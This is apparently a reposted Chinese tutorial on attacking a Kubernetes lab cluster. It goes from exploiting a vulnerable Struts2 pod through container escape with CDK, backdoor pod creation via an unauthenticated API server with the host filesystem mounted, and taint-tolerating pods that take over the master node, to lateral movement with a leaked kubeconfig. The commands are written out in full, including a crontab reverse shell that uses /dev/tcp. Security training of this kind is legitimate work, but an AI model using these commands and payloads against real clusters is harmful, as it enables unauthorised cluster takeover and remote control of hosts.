云上攻防-云原生篇K8s安全实战场景攻击Pod污点Taint横向移动容器逃逸

本文主要是介绍云上攻防-云原生篇K8s安全实战场景攻击Pod污点Taint横向移动容器逃逸,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

知识点

1、云原生-K8s安全-横向移动-污点Taint
2、云原生-K8s安全-Kubernetes实战场景

章节点:
云场景攻防:公有云,私有云,混合云,虚拟化集群,云桌面等
云厂商攻防:阿里云,腾讯云,华为云,亚马云,谷歌云,微软云等
云服务攻防:对象存储,云数据库,弹性计算服务器,VPC&RAM等
云原生攻防:Docker,Kubernetes(k8s),容器逃逸,CI/CD等

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
一个集群包含三个节点,其中包括一个控制节点和两个工作节点

K8s-master 192.168.139.130
K8s-node1 192.168.139.131
K8s-node2 192.168.139.132

在这里插入图片描述
在这里插入图片描述

一、演示案例-云原生-K8s安全-横向移动-污点Taint

如何判断实战中能否利用污点Taint?

设置污点

kubectl taint nodes node1 xtz=value1:NoSchedule

去除污点

kubectl taint nodes node1 xtz:NoSchedule-

节点说明中,查找 Taints 字段

拿到node节点权限时可以查看其他node主机或者master主机是否支持用Taint污点横向移动

kubectl describe nodes node-name  

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、演示案例-云原生-K8s安全-Kubernetes实战场景

在这里插入图片描述

1、攻击Pod部署Web应用

Web应用部署:(struts2漏洞)

拉取靶场镜像

kubectl create deployment xiaodi --image=vulhub/struts2:2.3.28

在这里插入图片描述

查看pod容器的状态(归属节点、内部IP、运行状态等)

 kubectl get pods -o wide

在这里插入图片描述

启动靶场镜像服务

kubectl expose deploy xiaodi --port=8080 --target-port=8080 --type=NodePort

在这里插入图片描述

kubectl get pod,svc

在这里插入图片描述

利用Web漏洞拿下权限

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

探针当前Webshell环境是否是docker容器

两种情况:

1、纯在docker容器里
2、在k8s下的某个主机里的docker容器

在这里插入图片描述

ls -al /

在这里插入图片描述
但是这还没完,因为这个docker容器有很大可能会在k8s下面

cat /proc/1/cgroup

在这里插入图片描述

docker逃逸

在这里插入图片描述
工具地址:https://github.com/cdk-team/CDK
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、利用k8s-Api-Server未授权提交创建后门Pod

在这里插入图片描述
在这里插入图片描述

./cdk_linux_amd64 kcurl anonymous post 'https://10.96.0.1:443/api/v1/namespaces/default/pods/' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'

在这里插入图片描述
或者

./kubectl -s 10.96.0.1:443 create -f test.yaml
//test.yam就是{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}的值

查看后门pod是否创建

curl -k https://10.96.0.1:443/api/v1/namespaces/default/pods

在这里插入图片描述

3、实现挂载目录宿主机逃逸

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
加参数绕过交互式

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods

在这里插入图片描述

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec test02 -- bash -c "ls /host"
//host目录就是挂载目录,相当于宿主机的/目录,可以自定义的。

在这里插入图片描述

4、利用污点Taint横向移动

参考:https://cn-sec.com/archives/1336486.html

获取node节点详情

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes | grep Taints

在这里插入图片描述
或者

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes

在这里插入图片描述

cat > x.yaml << EOF
apiVersion: v1
kind: Pod
metadata:name: control-master-xiaodi  //自定义
spec:tolerations:- key: node-role.kubernetes.io/master  //这里要修改operator: Existseffect: NoSchedulecontainers:- name: control-master-xiaodi //自定义image: ubuntu:18.04command: ["/bin/sleep", "3650d"]volumeMounts:- name: mastermountPath: /master //自定义volumes:- name: masterhostPath:path: /type: Directory
EOF

在这里插入图片描述

创建一个新pod容器

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a create -f ./x.yaml

在这里插入图片描述

查看新建pod容器归属

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods -o wide

利用新建pod容器进行逃逸

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec control-master -- bash -c "ls /master"

在这里插入图片描述

反弹master控制端的shell

echo -e '* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n' >> /master/etc/crontab
//这里的master路径要注意与上面一致

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

5、利用Config泄漏横向移动

也可以利用节点泄漏的config横向移动节点
在这里插入图片描述
在这里插入图片描述

./kubectl -s https://10.96.0.1:443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes./kubectl apply -f test.yaml -n default --kubeconfig=config./kubectl -n default --kubeconfig=config exec xiaodisec -- bash -c "ls /mnt/root"

这篇关于云上攻防-云原生篇K8s安全实战场景攻击Pod污点Taint横向移动容器逃逸的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/790716

相关文章

Spring Boot + MyBatis Plus 高效开发实战从入门到进阶优化(推荐)

《SpringBoot+MyBatisPlus高效开发实战从入门到进阶优化(推荐)》本文将详细介绍SpringBoot+MyBatisPlus的完整开发流程,并深入剖析分页查询、批量操作、动... 目录Spring Boot + MyBATis Plus 高效开发实战:从入门到进阶优化1. MyBatis

MyBatis 动态 SQL 优化之标签的实战与技巧(常见用法)

《MyBatis动态SQL优化之标签的实战与技巧(常见用法)》本文通过详细的示例和实际应用场景,介绍了如何有效利用这些标签来优化MyBatis配置,提升开发效率,确保SQL的高效执行和安全性,感... 目录动态SQL详解一、动态SQL的核心概念1.1 什么是动态SQL?1.2 动态SQL的优点1.3 动态S

Pandas使用SQLite3实战

《Pandas使用SQLite3实战》本文主要介绍了Pandas使用SQLite3实战,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学... 目录1 环境准备2 从 SQLite3VlfrWQzgt 读取数据到 DataFrame基础用法:读

如何将Tomcat容器替换为Jetty容器

《如何将Tomcat容器替换为Jetty容器》:本文主要介绍如何将Tomcat容器替换为Jetty容器问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Tomcat容器替换为Jetty容器修改Maven依赖配置文件调整(可选)重新构建和运行总结Tomcat容器替

Java中&和&&以及|和||的区别、应用场景和代码示例

《Java中&和&&以及|和||的区别、应用场景和代码示例》:本文主要介绍Java中的逻辑运算符&、&&、|和||的区别,包括它们在布尔和整数类型上的应用,文中通过代码介绍的非常详细,需要的朋友可... 目录前言1. & 和 &&代码示例2. | 和 ||代码示例3. 为什么要使用 & 和 | 而不是总是使

C++从序列容器中删除元素的四种方法

《C++从序列容器中删除元素的四种方法》删除元素的方法在序列容器和关联容器之间是非常不同的,在序列容器中,vector和string是最常用的,但这里也会介绍deque和list以供全面了解,尽管在一... 目录一、简介二、移除给定位置的元素三、移除与某个值相等的元素3.1、序列容器vector、deque

C++常见容器获取头元素的方法大全

《C++常见容器获取头元素的方法大全》在C++编程中,容器是存储和管理数据集合的重要工具,不同的容器提供了不同的接口来访问和操作其中的元素,获取容器的头元素(即第一个元素)是常见的操作之一,本文将详细... 目录一、std::vector二、std::list三、std::deque四、std::forwa

Python实战之屏幕录制功能的实现

《Python实战之屏幕录制功能的实现》屏幕录制,即屏幕捕获,是指将计算机屏幕上的活动记录下来,生成视频文件,本文主要为大家介绍了如何使用Python实现这一功能,希望对大家有所帮助... 目录屏幕录制原理图像捕获音频捕获编码压缩输出保存完整的屏幕录制工具高级功能实时预览增加水印多平台支持屏幕录制原理屏幕

最新Spring Security实战教程之Spring Security安全框架指南

《最新SpringSecurity实战教程之SpringSecurity安全框架指南》SpringSecurity是Spring生态系统中的核心组件,提供认证、授权和防护机制,以保护应用免受各种安... 目录前言什么是Spring Security?同类框架对比Spring Security典型应用场景传统

最新Spring Security实战教程之表单登录定制到处理逻辑的深度改造(最新推荐)

《最新SpringSecurity实战教程之表单登录定制到处理逻辑的深度改造(最新推荐)》本章节介绍了如何通过SpringSecurity实现从配置自定义登录页面、表单登录处理逻辑的配置,并简单模拟... 目录前言改造准备开始登录页改造自定义用户名密码登陆成功失败跳转问题自定义登出前后端分离适配方案结语前言